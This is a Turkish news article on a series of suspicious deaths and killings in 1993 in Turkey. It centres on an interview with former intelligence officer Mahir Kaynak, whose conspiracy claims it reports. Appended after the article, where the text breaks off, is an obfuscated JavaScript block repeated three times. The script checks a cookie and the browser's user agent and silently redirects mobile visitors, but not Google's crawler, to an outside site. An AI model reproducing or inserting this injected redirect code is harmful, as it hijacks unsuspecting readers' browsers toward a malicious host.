Terörle mücadelenin en yoğun olduğu 1993 yılı bir çok şüpheli ölümün yaşandığı, karanlık bir dönem olarak tarihe geçti. Cumhurbaşkanı Turgut Özal vefat etti, Eşref Bitlis’in uçağı düştü, Gazeteci Uğur Mumcu katledildi, Bingöl’de 33 er PKK tarafından kurşuna dizildi, Madımak Oteli yakıldı 37 kişi yaşamını yitirdi. İki gün sonra Erzincan’ın Başbağlar köyünde gerçekleştirilen katliamda 33 vatandaş öldürüldü. Bu karanlık döneme ilişkin Cihan Haber Ajansı’nın sorularını yanıtlayan eski MİT mensubu Mahir Kaynak dikkat çekici analizler yaptı. 17 Nisan 1993′te kalp krizi geçirerek öldüğü açıklanan merhum Cumhurbaşkanı Turgut Özal’ın ölümünü şüpheli bulan Mahir Kaynak önemli ididalarda bulundu. “Turgut Özal bir parti kurmak istiyordu. Cumhurbaşkanlığından istifayı bile göze almıştı.” diyen Mahir Kaynak şunları söyledi: “O tarihlerde ben de Büyük Değişim Partisi’nin genel başkan yardımcısıydım. Partinin genel başkanı Aydın Menderes’ti. Özal yeni bir parti kuracaktı biz de Büyük Değişim Partisi olarak onunla bütünleşecektik. Ama istenmedi. Bana soranlara şunu söylüyorum: Ben doktor değilim. Öldü mü öldürüldü mü sorusuna cevap veremem. Ama o zamanki siyasi şartlarda ölmesi uygundu.”

Kürt sprunun çözümünden yana olan Özal Koruculuk sistemini kaldırmak istedi • “Turgut Özal’ın ölmesi kimin işine geliyordu?” sorusuna Kaynak, “Şöyle bir analiz yapıyoruz. Eğer Turgut Özal yeniden siyasete gelirse kuracağı siyasi parti, Doğru Yol Partisi’nin alternatifi olacaktı. Oysa DYP’den beklenen bazı işlevler, görevler vardı. Özal’ın devreye girmesi istenmiyordu.” yanıtını verdi. “DYP’den kim beklenti içindeydi?” sorusuna ise Kaynak, “Bu DYP’yi aşar. DYP’den beklentisi olanlar vardı. Uluslararası boyutta bir hareket olarak görmek lazım.” karşılığını verdi. Kaynak burada, “Dış mihraklar” sorusuna da açıklık getirdi: “Dış mihrak denilince herkesin aklına ABD gelir. Halbuki bu son derece yetersizdir. Çünkü başka istihbarat servisleri de Türkiye’de CIA kadar etkilidir. Bunların başında İngiliz istihbaratı gelir. Alman istihbaratı vardır. Sınırlı da olsa Fransız istihbaratı vardır. Bütün bunların Türkiye’de çok ciddi, yoğun faaliyetleri var.” Turgut Özal’ın vefatından sonra Süleyman Demirel’in cumhurbaşkanı olmasını ise şöyle yorumladı Mahir Kaynak: “Süleyman Demirel’in Doğru Yol Partisi başkanlığından uzaklaştırıp bir üst kademeye çıkarıp, nötr hale, etkisiz hale getirmek istediler. Onun yerine Tansu Çiller yerleştirildi. Bu bir Amerikan projesiydi. Uluslararası şartlara bakıldığında Tansu Çiller’in DYP başına geçmesi istendi. Turgut Özal eğer gelseydi Tansu Çiller’den daha etkili olacaktı. Bir parti kuracaktı ve DYP tarihe karışacaktı.” Turgut Özal ile 1990 yılında Kürt sorunu konusunda karşılıklı fikir alışverişinde de bulunduğunu anlatan Mahir Kaynak, “Turgut Özal, Kürt sorunun çözülmesinden yanaydı. Adnan Kahveci de çözümde yanaydı. Koruculuk müessesini ortadan kaldırmak istiyordu. Güvenliği devletin sağlamasını istiyordu. Güvenliğin sağlanması ile birlikte halka yakınlaşılmasından yanaydı” ifadelerini kullandı.

Eşref Bitlis suikaste kurban gitti • Kürt sorunun çözümüne değinmişken Mahir Kaynak’a Eşref Bitlis’in ölümünü de hatırlattık. Eşref Bitlis’in içinde olduğu uçak 17 Şubat 1993′te Ankara Güvercinlik alanından kalktıktan hemen sonra düşmüş, Bitlis ile beraberindeki 3 subay ve bir astsubay da ölmüştü. Mahir Kaynak bu ölümle ilgili o tarihte “suikaste kurban gittiği” açıklaması yaptığını belirtti. Kaynak, “Çoğu kişi kaza diyordu ben ‘Hayır bu cinayettir’ dedim.” şeklinde konuştu. Kaynak bu ölümle ilgili şunları söyledi: “Şöyle bir analiz yapmıştım. Eşref Bitlis, Kürt sorununu kökünden çözmek istiyordu ve bunun için de bir modeli vardı. O sıralarda Saddam Türkiye’ye bir teklifte bulunmuştu. Saddam, ‘Kuzeyden siz bastırın, güneyden de biz bastıralım. Kürt sorununu ortadan kaldıralım.’ demişti. Çünkü Kürtler Saddam’a karşı mücadele ediyorlardı. Ben bu operasyona ‘Sandiviç Operasyonu’ adını vermiştim. O zamanki MİT Müsteşarı ile bu konuda farklı düşünmüştük. Ben bu operasyona karşıydım. Temel tezim, Türklerle Kürtleri çatıştıracak her ortamın dışına çıkılmamalıdır. ABD de Türkler’in Kürtleri tasfiye etmesinden yana değildi. Kürtler’in bu şekilde bertaraf edilmesinden yana değildi. Cem Ersever de duyduğuma göre bu operasyon için Irak gizli servisi ile temastaydı.”

Uğur Mumcu, Kürt meselesi nedeniyle tasfiye edildi • Ünlü istihbarat analisti Mahir Kaynak, 24 Ocak 1993′te arabasına bomba konularak öldürülen Gazeteci Uğur Mumcu’nun da Kürt sorunu konusunda yakaladığı ipuçları olduğuna değindi. Kaynak, “Uğur Mumcu öldürüldüğü zaman, bunun İran ve Türkiye’deki İslamcı çevrelerce yapılmadığını söylemiştim. Uğur Mumcu, ideolojik bir nedenle öldürülmedi’ demiştim. Çünkü Uğur Mumcu, eskiden beri Atatürkçüydü, bugün olmadı. Eskiden beri Türkiye’de İslamcı kanat vardı, hiç böyle bir şey olmadı. İran’ın da bundan elde edeceği bir şey yok. Mumcu, Kürt meselesindeki tavrı nedeniyle tasviye edildi. Abdullah Öcalan’ı deşifre edecek veya onu Kürt hareketi içinde etkisiz hale getirecek bilgilere sahipti. ‘Öcalan ajandı’ diyecekti belki de.” ifadelerini kullandı.

Son günlerde dile getirildiği gibi kurumlararası bir çatışma yok • Türkiye’de sürekli her şeyin altında Türk Silahlı Kuvvetler’i arayanlar olduğunu, bunların bir projenin elemanı haline geldiğini söyleyen Mahir Kaynak, “Silahlı kuvvetler’in etkinliğinin azaltılması isteniyor. Bunu hükümet de görüyor. Bunun için Genelkurmay Başkanı ile aralarında hiçbir ihtilaf olmadığını gösterecek davranışlarda bulunuyor. Dolayısıyla kurumlararası bir çatışmadan bahsedemeyiz. Kurumlararası çatışma olduğunu göstermek bunu tahrik etmek isteyenler var.” şeklinde konuştu.

Gaffar Okkan suikasti Hizbullah’ın işi değil • Öte yandan Mahir Kaynak, 1993 yılında olmasa da yine Kürt sorununa dayandırdığı bir cinayete daha dikkat çekti. Diyarbakır eski Emniyet Müdürü Gaffar Okkan’ın iddia edildiği gibi Hizbullah tarafından öldürülmediğini dile getiren Kaynak, Gaffar Okkan suikastini Avrupa destekli bölgedeki bazı aşiret reislerinin gerçekleştirdiğini ileri sürdü. (Cihan)

Kanlı ve Kara Yıl: 1993.. PKK’nın tasfiyesi durduruldu • Mahir Kaynak’ın dile getirdiği şüphelerin yoğunlaştığı 1993 yılı aslında bu şüpheleri haklı gösterecek çok ilginç ve birbirine paralel olaylara sahne oldu. Türkiye için kanlı ve kara bir yıl olan 1993 boyunca, en kanlısının Bingöl’deki 33 er katliamının olduğu çok sayıda peşpeşe gelen olaylarda kendi alanında güçlü ve simge isimler aynı yıl, art arda hayatlarını kaybetti: Cumhurbaşkanı Turgut Özal, Jandarma Komutanı Orgeneral Eşref Bitlis, JİTEM Grup Komutanı Binbaşı Cem Ersever ve gazeteci Uğur Mumcu. Kimi öldürüldü, kiminin ölümünün üzerindeki sis perdesi hala aralanamadı. Bu dört ismin ortak özelliği ise ya PKK’yla mücadelenin doğrudan içinde yer almaları ya da sorunun çözümü için ciddi mesai harcamalarıydı. Bu olaylar sonucunda bugünlerde ‘demokratik açılım’ projesiyle yapılmaya çalışılanın benzeri, PKK’nın tasfiyesinin sağlanarak Doğu ve Güneydoğu’nun terörden kurtulması ve barışın sağlanması projesi rafa kaldırıldı.

Bağbuğ hala provokasyon denmesine varsın kızsın, varsın law’a boru parçası diyebilmek için tüm generallerle basın toplantısı düzenlesin, varsın Tokat Reşadiye’ye provokasyon denmesine kızarak tüm generalleri gemiye toplasın darbe tehdidi yapsın, kamuoyunun ne dediği önemli • 24 Mayıs 1993′te Türkiye’nin geleceğini karartan kanlı bir eylem yaşandı. Bingöl-Elazığ karayolunda 33 Mehmetçik şehit edildi. Genel af ve PKK’nın silah bırakmasının konuşulduğu bir ortamda gerçekleşen katliamla ilgili dosya, tozlu raflardan indirilerek Ergenekon soruşturması kapmasında yeniden ele alınıyor. Ancak 1993′te Türkiye’yi sarsan tek olay bu değildi. Kendi alanında güçlü ve simge isimler aynı yıl, art arda hayatlarını kaybetti: Cumhurbaşkanı Turgut Özal, Jandarma Komutanı Orgeneral Eşref Bitlis, JİTEM Grup Komutanı Binbaşı Cem Ersever ve gazeteci Uğur Mumcu. Kimi öldürüldü, kiminin ölümünün üzerindeki sis perdesi hala aralanamadı. Bu dört ismin ortak özelliği ise ya PKK’yla mücadelenin doğrudan içinde yer almaları ya da sorunun çözümü için ciddi mesai harcamalarıydı.

24 Ocak 1993: Uğur Mumcu cinayeti • Kanlı yıl 1993′ün ilk büyük trajedisi Uğur Mumcu cinayetiydi. Gazeteci-yazar Mumcu, 24 Ocak 1993′te uğradığı bombalı saldırı sonucu hayatını kaybetti. Uğur Mumcu, öldürülmeden önce başladığı “Kürt dosyası”nda, Abdullah Öcalan’ın izini sürdü. PKK liderinin yakınında gizemli iki kişi olduğunu anladı: 1978′de evlendiği karısı Kesire Yıldırım ve yanından hiç ayrılmayan Ağrılı Pilot Necati. Öcalan, daha sonra yaptığı bir açıklamada Pilot Necati’nin MİT ajanı olduğunu bile bile yanında tuttuğunu, onu kullanarak MİT’i kandırdığını söyledi. Mumcu, eğer ölmeseydi PKK ve derin devletin bağlantılarını açıklayacaktı. Ölmeden önceki son 330 yazısının 114′ünü PKK’ya ayıran Mumcu’nun ölümü, sözde ‘İslamcı terör’ün üzerine yıkıldı.

17 Şubat 1993: Jandarma Komutanı Eşref Bitlis’in uçak kazası • Tarihler 17 Şubat 1993′ü gösterirken, Türkiye’nin parmakla gösterilen bir Paşa’sı hayatını kaybetti. Jandarma Genel Komutanı Eşref Bitlis, Beechcraft B200 King Air tipi uçağın henüz aydınlanamayan nedenlerle düşmesi sonucu öldü. Uçağın buzlanmadan düştüğü açıklandı ama kamuoyu hala tatmin olmuş değil. Bitlis, PKK’yla etkin mücadele eden bir komutandı, Talabani ve Barzani’yle görüşmeleri oluyordu. Bazı ABD uçaklarının teröristlere yardım dağıttığı yönündeki açıklamasıyla da dikkatleri üzerine çekmişti. Bitlis Paşa, Cumhuriyet tarihinin en önemli komutanları arasında zikrediliyordu.

17 Nisan 1993: Cumhurbaşkanı Özal’ın suikastten kurtulup ani kalp krizinden vefatı • Kürt meselesinin çözümü ve PKK’nın tasfiyesi için büyük çaba sarf eden 8. Cumhurbaşkanı Turgut Özal, hemşerisi Bitlis Paşa’nın ölümünden 2 ay sonra 17 Nisan 1993′te hayata gözlerini yumdu. Ne eşi Semra Özal ne çocukları ne de Türk halkı Özal’ın doğal yollarla öldüğüne ikna oldu. Özal’a daha önce Kartal Demirağ tarafından düzenlenen suikast da, ölümünün üzerindeki şüphelerin artmasına sebep oldu. Özal, PKK sorununun çözümü için büyük uğraş veriyordu. Genel affın ve silah bırakmanın konuşulduğu günlerde, önce 33 er şehit edildi, ardından Özal vefat etti. Belki de PKK sorununu tasfiye edecek süreç de böylece durmuş oldu.

24 Mayıs 1993: Bingöl’de 33 asker katliamı • 24 Mayıs 1993′te Türkiye’nin geleceğini karartan kanlı bir eylem yaşandı. Bingöl-Elazığ karayolunda 33 Mehmetçik şehit edildi. Genel af ve PKK’nın silah bırakmasının konuşulduğu bir ortamda gerçekleşen katliamla ilgili dosya, tozlu raflardan indirilerek Ergenekon soruşturması kapmasında yeniden ele alınıyor.

22 Ekim 1993: Tuğgeneral Bahtiyar Aydın suikasti • Diyarbakır Jandarma Bölge Komutanı Tuğgeneral Bahtiyar Aydın, 22 Ekim 1993 tarihinde operasyon için gittiği Lice’de öldürüldü. Olayı PKK üstlenmedi. Aydın Paşa, meselenin sadece silahla çözülemeyeceğine inananlar arasındaydı.

4 Kasım 1993: JİTEM kurucusu Cem Ersever ve yakın arkadaşlarının öldürülmesi ve ‘üçgen’ mesajı • JİTEM’in kurucusu olarak bilinen Binbaşı Ahmet Cem Ersever, PKK terörüyle etkin mücadele eden isimlerden biriydi. 17 Mart 1993′te ordudaki görevinden 30 arkadaşıyla birlikte istifa ederek ayrıldı. Daha sonra bazı gazete ve dergilere ‘Yeşil’ kod adlı Mahmut Yıldırım ve Güneydoğu’daki faili meçhullerle ilgili bilgiler verdi. Aydınlık gazetesine anlattıkları ile ilgili mahkemeye ifade vermek için 24 Ekim 1993′te Ankara’ya giden Ersever’den bir süre haber alınamadı. 4 Kasım 1993′te Ankara Elmadağ’da cesedi jandarma ekipleri tarafından ensesinden kurşunlanmış olarak bulundu. Ersever’in ekibini oluşturan arkadaşlarından Nevval (veya Neval) Boz 1 Kasım’da, Murat Demir de 2 Kasım’da öldürülmüş olarak öyle yerlerde bulundu ki Cem Ersever’in cesedinin bulunduğu yer de göz önüne alındığında bir üçgen teşkil ediyordu. Uçak kazasında ölen Eşref Bitlis’in en yakın adamı olarak bilinen Cem Ersever’in devletin PKK ile mücadelesindeki yanlışlıkları ve terörün sürmesini isteyen menfaat çetelerini açıklayacağı ve yazımına başladığı ‘Üçgendeki Tezgah’ kitabına karşı bir mesaj olarak algılandı. (Zaman
var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Yazı hakkında ne düşünüyorsun ?